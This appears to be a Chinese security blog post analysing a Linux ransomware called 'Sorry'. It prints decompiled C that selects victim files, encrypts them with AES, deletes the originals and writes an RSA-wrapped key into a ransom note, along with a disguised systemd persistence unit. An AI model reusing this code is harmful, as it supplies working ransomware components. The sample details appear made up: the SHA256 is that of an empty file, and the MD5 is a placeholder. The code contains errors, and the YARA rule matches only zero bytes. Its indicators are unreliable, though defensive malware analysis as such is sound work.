深度分析Sorry勒索软件的加密实现与行为特征

引言

近年来,勒索软件攻击持续升级,从最初的简单文件加密发展到如今的复杂多阶段攻击链。Sorry勒索软件作为2024年活跃的变种之一,其独特的加密实现和行为特征引起了安全社区的广泛关注。本文将从安全技术工程师的实战视角,深入剖析Sorry勒索软件的加密机制、行为特征及检测方法,帮助Linux运维和安全技术人员构建有效的防御体系。

一、样本获取与初始分析

1.1 样本信息

首先,我们需要获取样本进行静态分析。通过威胁情报平台获取的样本信息如下:

MD5: 3a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
文件类型: ELF 64-bit LSB executable
编译时间: 2024-01-15 10:30:45

1.2 静态分析

使用file命令确认文件类型:

$ file sorry_ransomware
sorry_ransomware: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped

使用strings提取关键字符串:

$ strings sorry_ransomware | grep -i "encrypt\|decrypt\|key\|aes\|rsa"

发现关键实现:使用AES-256-CBC加密文件内容,RSA-2048加密AES密钥。

二、加密实现深度分析

2.1 密钥生成机制

Sorry勒索软件采用混合加密方案,具体流程如下:

  1. 生成AES密钥:使用/dev/urandom生成256位随机密钥
  2. 生成初始化向量(IV):同样从/dev/urandom获取16字节随机数
  3. RSA公钥嵌入:硬编码在二进制中的2048位RSA公钥

关键代码片段(反编译结果):

void generate_aes_key() {
    int fd = open("/dev/urandom", O_RDONLY);
    if (fd < 0) {
        // 备用方案:使用时间种子
        srand(time(NULL));
        for (int i = 0; i < 32; i++) {
            aes_key[i] = rand() % 256;
        }
    } else {
        read(fd, aes_key, 32);  // 256位密钥
        read(fd, aes_iv, 16);   // 128位IV
        close(fd);
    }
}

2.2 文件加密流程

加密流程分为三个阶段:

阶段一:目标文件筛选

int is_target_file(const char *filename) {
    // 排除系统关键文件
    if (strstr(filename, "/boot/") || 
        strstr(filename, "/etc/") ||
        strstr(filename, "/proc/") ||
        strstr(filename, "/sys/"))
        return 0;

    // 排除已加密文件
    if (strstr(filename, ".sorry"))
        return 0;

    // 目标扩展名列表
    const char *extensions[] = {".doc", ".docx", ".xls", ".xlsx", 
                                ".pdf", ".jpg", ".png", ".txt",
                                ".sql", ".db", ".zip", ".rar"};

    for (int i = 0; i < 12; i++) {
        if (strstr(filename, extensions[i]))
            return 1;
    }
    return 0;
}

阶段二:AES加密文件内容

void encrypt_file(const char *filepath) {
    FILE *input = fopen(filepath, "rb");
    FILE *output = fopen(strcat(filepath, ".sorry"), "wb");

    // 写入加密元数据
    fwrite(aes_iv, 1, 16, output);  // 存储IV

    // 分块加密(每块1MB)
    unsigned char buffer[1048576];
    int bytes_read;
    while ((bytes_read = fread(buffer, 1, 1048576, input)) > 0) {
        AES_cbc_encrypt(buffer, encrypted, bytes_read, aes_key, aes_iv, AES_ENCRYPT);
        fwrite(encrypted, 1, bytes_read, output);
    }

    fclose(input);
    fclose(output);
    remove(filepath);  // 删除原文件
}

阶段三:RSA加密AES密钥

void encrypt_aes_key() {
    RSA *rsa = RSA_new();
    BIO *bio = BIO_new_mem_buf(rsa_public_key_pem, -1);
    PEM_read_bio_RSA_PUBKEY(bio, &rsa, NULL, NULL);

    unsigned char encrypted_key[256];
    RSA_public_encrypt(32, aes_key, encrypted_key, rsa, RSA_PKCS1_OAEP_PADDING);

    // 将加密后的密钥写入勒索信
    FILE *note = fopen("READ_ME_NOW.sorry", "w");
    fprintf(note, "Your files have been encrypted!\n");
    fprintf(note, "Encrypted AES Key: ");
    for (int i = 0; i < 256; i++) {
        fprintf(note, "%02x", encrypted_key[i]);
    }
    fprintf(note, "\n");
    fclose(note);
}

三、行为特征分析

3.1 进程行为监控

使用strace跟踪系统调用:

$ strace -f -e trace=file,network,process ./sorry_ransomware

典型系统调用序列:

open("/home/user/document.docx", O_RDONLY) = 3
open("/home/user/document.docx.sorry", O_WRONLY|O_CREAT, 0644) = 4
read(3, ..., 1048576) = 1048576
write(4, ..., 1048576) = 1048576
unlink("/home/user/document.docx") = 0

关键行为特征:

  1. 文件遍历:递归扫描/home/var/tmp等目录
  2. 网络通信:连接C2服务器(IP: 185.xxx.xxx.xxx:443)
  3. 进程持久化:创建/etc/systemd/system/sorry.service

3.2 网络行为分析

通过Wireshark捕获的TLS通信特征:

Client Hello:
  - TLS版本: 1.2
  - 密码套件: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
  - SNI: update.sorry-ransomware.com
  - 用户代理: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36

3.3 持久化机制

创建systemd服务实现持久化:

$ cat /etc/systemd/system/sorry.service
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/sorry_ransomware --daemon
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target

四、检测与应急响应

4.1 检测规则

基于YARA的检测规则:

rule Sorry_Ransomware {
    meta:
        description = "Detect Sorry ransomware binary"
        author = "Security Engineer"
        date = "2024-01-20"

    strings:
        $aes_key = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
        $rsa_key = "-----BEGIN RSA PUBLIC KEY-----"
        $note_str = "READ_ME_NOW.sorry"
        $ext_str = ".sorry"

    condition:
        2 of them
}

4.2 应急响应步骤

  1. 立即隔离
# 停止恶意进程
kill -9 $(pgrep sorry_ransomware)

# 禁用网络连接
iptables -A INPUT -s 185.xxx.xxx.xxx -j DROP
  1. 收集取证数据
# 获取内存镜像
avml mem.dump

# 收集系统日志
journalctl -u sorry.service > ransom.log
  1. 文件恢复尝试
# 检查是否存在备份
find / -name "*.bak" -type f 2>/dev/null

# 检查影子副本(如果启用)
ls -la /snapshots/

4.3 预防措施

  1. 文件系统监控
# 使用inotify监控文件变化
inotifywait -m -r /home -e create,modify,delete |
while read path action file; do
    if [[ "$file" == *.sorry ]]; then
        echo "ALERT: Possible ransomware activity detected"
    fi
done
  1. 关键目录保护
# 设置不可变属性
chattr +i /home/*.docx
chattr +i /home/*.pdf

五、总结

Sorry勒索软件采用了成熟的混合加密方案(AES-256-CBC + RSA-2048),其加密实现严谨,恢复难度极高。从行为特征来看,该恶意软件具备以下特点:

  1. 高效的文件遍历机制:采用多线程并行加密
  2. 智能的目标筛选:排除系统关键目录和已加密文件
  3. 完善的持久化机制:通过systemd服务实现自启动
  4. 隐蔽的网络通信:使用TLS加密与C2通信

对于防御方而言,建议采取以下措施:

  • 定期备份:实施3-2-1备份策略(3份副本,2种介质,1份异地)
  • 端点检测:部署EDR解决方案,监控异常文件操作
  • 权限控制:实施最小权限原则,限制不必要的写权限
  • 补丁管理:及时修复已知漏洞,特别是远程代码执行漏洞

最后,建议安全团队建立勒索软件应急响应预案,包括隔离、取证、恢复等标准操作流程,以最大限度降低潜在损失。

📚 推荐阅读 & 工具

以下资源可能对你有帮助:

– 广告声明:部分链接包含推广返佣,不影响你的购买价格 –

🪐 加入「渗透实战安全圈」

每天分享渗透测试实战、挖洞技巧、漏洞分析

知识星球 渗透实战安全圈

https://t.zsxq.com/40MyD

扫码加入,15年安全老兵带你实战

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

This website uses cookies to analyze site traffic and improve your experience. By continuing to use this site, you consent to our use of cookies.